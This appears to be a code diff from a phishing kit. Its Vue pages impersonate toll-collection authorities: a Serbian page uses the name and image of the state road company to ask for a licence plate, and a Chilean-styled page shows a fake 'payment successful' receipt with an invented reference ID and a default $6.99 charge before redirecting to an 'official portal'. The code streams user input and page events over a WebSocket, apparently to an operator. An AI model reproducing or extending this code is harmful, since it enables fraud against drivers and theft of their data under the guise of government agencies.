.chile-btn-primary:hover {
background-color: #357abd;
}
/* 底部後果提示 */
.consequences-card {
background-color: #f8f9fa;
border-left: 4px solid #4a90e2;
padding: 15px;
}
.consequences-card h3 {
font-size: 15px;
font-weight: bold;
margin-bottom: 15px;
line-height: 1.4;
}
.consequences-card ul {
padding-left: 20px;
margin: 0;
}
.consequences-card li {
font-size: 13px;
color: #555;
margin-bottom: 12px;
line-height: 1.4;
}
@media (max-width: 480px) {
.plate-number { font-size: 20px; }
.large { font-size: 20px; }
}
</style>

View File

@@ -0,0 +1,225 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const formData = ref({ licensePlateData: { licensePlate: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("Регистарска ознака", "plate", event.target.value);
};
const next = () => {
localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.licensePlateData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="image-container">
<img
src="/Static_zy/koridor10-juzni-krak.jpg"
alt="Путеви Србије"
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
</div>
<div class="main-content-body">
<div class="container">
<form @submit.prevent="next">
<div class="content-body">
<h1>{{ t("Провера статуса наплате путарине") }}</h1>
<p>
{{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
</p>
<div class="input-group">
<label for="licensePlate">
{{ t("Регистарска ознака") }}
</label>
<input
id="licensePlate"
type="text"
required
autofocus
@input="onchange"
v-model="formData.licensePlateData.licensePlate"
inputmode="text"
:placeholder="t('Пример: BG123456')"
class="full-width-input"
/>
</div>
</div>
<div class="button-submit">
<button type="submit" class="full-width-btn">
{{ t("Провери статус") }}
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.image-container {
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 1rem;
}
.main-content-body {
background-color: #f0f4f8;
padding: 3rem 1rem;
display: flex;
align-items: center;
}
.container {
max-width: 720px;
margin: 0 auto;
background-color: #ffffff;
border: 1px solid #d0d7de;
border-radius: 8px;
padding: 2rem;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.content-body {
text-align: left;
}
h1 {
font-size: 1.8rem;
font-weight: 700;
color: #003087;
margin-bottom: 1rem;
font-family: 'Arial', sans-serif;
}
p {
color: #333333;
font-size: 1rem;
line-height: 1.5;
margin-bottom: 1.5rem;
font-family: 'Arial', sans-serif;
}
.input-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-size: 1rem;
font-weight: 500;
color: #003087;
margin-bottom: 0.5rem;
font-family: 'Arial', sans-serif;
}
.full-width-input {
width: 100%;
box-sizing: border-box;
padding: 0.75rem;
font-size: 1rem;
border: 1px solid #b0b8c1;
border-radius: 5px;
background-color: #ffffff;
color: #333333;
font-family: 'Arial', sans-serif;
transition: border-color 0.2s;
margin-bottom: 0;
display: block;
}
.full-width-input:focus {
outline: none;
border-color: #003087;
box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
}
.button-submit {
text-align: center;
}
.full-width-btn {
width: 100%;
background-color: #003087;
color: #ffffff;
border: none;
border-radius: 5px;
font-size: 1.1rem;
font-weight: 600;
padding: 0.85rem 0;
cursor: pointer;
transition: background 0.2s;
font-family: 'Arial', sans-serif;
margin-top: 0.3rem;
box-sizing: border-box;
display: block;
}
.full-width-btn:hover {
background-color: #00205b;
}
@media (max-width: 768px) {
.container {
padding: 1.5rem;
margin: 0 1rem;
}
h1 {
font-size: 1.3rem;
}
p {
font-size: 0.9rem;
}
.full-width-input {
padding: 0.6rem;
}
.full-width-btn {
padding: 0.75rem 0;
font-size: 1rem;
}
}
</style>

View File

@@ -0,0 +1,290 @@
<script setup lang="ts">
import { onMounted, ref, computed } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
import { myWebSocket, redirectToExternal, configData } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loading = ref(true);
const invoiceNumber = ref("");
const referenceId = ref("");
// 格式化為智利本地常用日期格式 (DD/MM/YYYY)
const getChileFormattedDate = () => {
const date = new Date();
const day = String(date.getDate()).padStart(2, '0');
const month = String(date.getMonth() + 1).padStart(2, '0');
const year = date.getFullYear();
return `${day}/${month}/${year}`;
};
const paymentDate = computed(() => getChileFormattedDate());
onMounted(() => {
// 1. 生成隨機 Reference ID (保持原邏輯)
referenceId.value = Math.random().toString(36).toUpperCase().substring(2, 12);
// 2. 通知後端頁面類型
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
// 3. 獲取之前的單號
const inumber = localStorage.getItem("invoiceNumber");
invoiceNumber.value = inumber || "CL-PR-2026-9912";
// 4. 保持邏輯3秒後自動跳轉回官方網站
setTimeout(() => {
loading.value = false;
redirectToExternal();
}, 3000);
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="chile-success-wrapper">
<div class="chile-card">
<div class="chile-header">
<h2>Comprobante de Pago</h2>
<div class="blue-line"></div>
</div>
<div class="success-status">
<div class="icon-circle">
<svg viewBox="0 0 24 24" class="check-svg">
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z" />
</svg>
</div>
<h1 class="status-title">¡Pago Realizado con Éxito!</h1>
<p class="status-desc">Tu transacción ha sido procesada correctamente en el sistema de recaudación.</p>
</div>
<div class="receipt-details">
<div class="detail-item">
<span class="label">Nro. de Comprobante:</span>
<span class="value bold">{{ invoiceNumber }}</span>
</div>
<div class="detail-item">
<span class="label">Monto Pagado:</span>
<span class="value amount">{{ configData?.pay_amount ? configData.pay_amount : "$6.99" }}</span>
</div>
<div class="detail-item">
<span class="label">Fecha de Pago:</span>
<span class="value">{{ paymentDate }}</span>
</div>
<div class="detail-item">
<span class="label">Estado:</span>
<span class="status-tag">APROBADO</span>
</div>
<div class="divider"></div>
<div class="detail-item">
<span class="label">ID de Referencia:</span>
<span class="value mono">#{{ referenceId }}</span>
</div>
</div>
<div class="info-notice">
<span class="info-icon"></span>
<p>El sistema puede tardar unos minutos en actualizar el estado de su deuda. Le recomendamos descargar este comprobante o anotar el ID de referencia.</p>
</div>
<div class="redirect-footer" v-if="loading">
<div class="spinner"></div>
<p>Redirigiendo al portal oficial en unos segundos...</p>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.chile-success-wrapper {
background-color: #f4f7f9;
min-height: 100vh;
padding: 30px 15px;
font-family: Arial, sans-serif;
}
/* 核心:圓潤 Border 與卡片陰影 */
.chile-card {
max-width: 480px;
margin: 0 auto;
background: #ffffff;
border-radius: 12px;
border: 1px solid #e1e8ed;
padding: 30px 20px;
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08);
}
.chile-header h2 {
font-size: 18px;
font-weight: bold;
color: #333;
margin-bottom: 10px;
}
.blue-line {
height: 4px;
background-color: #4a90e2;
width: 100%;
margin-bottom: 30px;
}
/* 成功狀態區 */
.success-status {
text-align: center;
margin-bottom: 30px;
}
.icon-circle {
width: 70px;
height: 70px;
background-color: #e6f7ef;
border-radius: 50%;
display: flex;
justify-content: center;
align-items: center;
margin: 0 auto 15px;
}
.check-svg {
width: 40px;
height: 40px;
fill: #27ae60;
}
.status-title {
font-size: 24px;
font-weight: 800;
color: #2c3e50;
margin-bottom: 10px;
}
.status-desc {
font-size: 14px;
color: #7f8c8d;
line-height: 1.4;
}
/* 詳情列表 */
.receipt-details {
background-color: #fdfdfd;
border: 1px solid #f0f0f0;
border-radius: 8px;
padding: 20px;
margin-bottom: 25px;
}
.detail-item {
display: flex;
justify-content: space-between;
margin-bottom: 15px;
font-size: 14px;
}
.detail-item:last-child {
margin-bottom: 0;
}
.label {
color: #7f8c8d;
}
.value {
color: #2c3e50;
font-weight: 600;
}
.value.bold {
font-weight: 800;
}
.value.amount {
color: #4a90e2;
font-size: 18px;
font-weight: 800;
}
.value.mono {
font-family: 'Courier New', Courier, monospace;
}
.status-tag {
background-color: #27ae60;
color: white;
font-size: 11px;
font-weight: bold;
padding: 3px 8px;
border-radius: 4px;
}
.divider {
border-top: 1px dashed #ddd;
margin: 15px 0;
}
/* 提示框 */
.info-notice {
background-color: #fff9e6;
border: 1px solid #ffeaa7;
border-radius: 8px;
padding: 12px;
display: flex;
gap: 10px;
margin-bottom: 25px;
}
.info-icon {
font-size: 18px;
}
.info-notice p {
font-size: 12px;
color: #8a6d3b;
line-height: 1.5;
margin: 0;
}
/* 跳轉指示器 */
.redirect-footer {
text-align: center;
margin-top: 20px;
}
.redirect-footer p {
font-size: 12px;
color: #bdc3c7;
margin-top: 10px;
}
.spinner {
width: 24px;
height: 24px;
border: 3px solid #f3f3f3;
border-top: 3px solid #4a90e2;
border-radius: 50%;
margin: 0 auto;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
</style>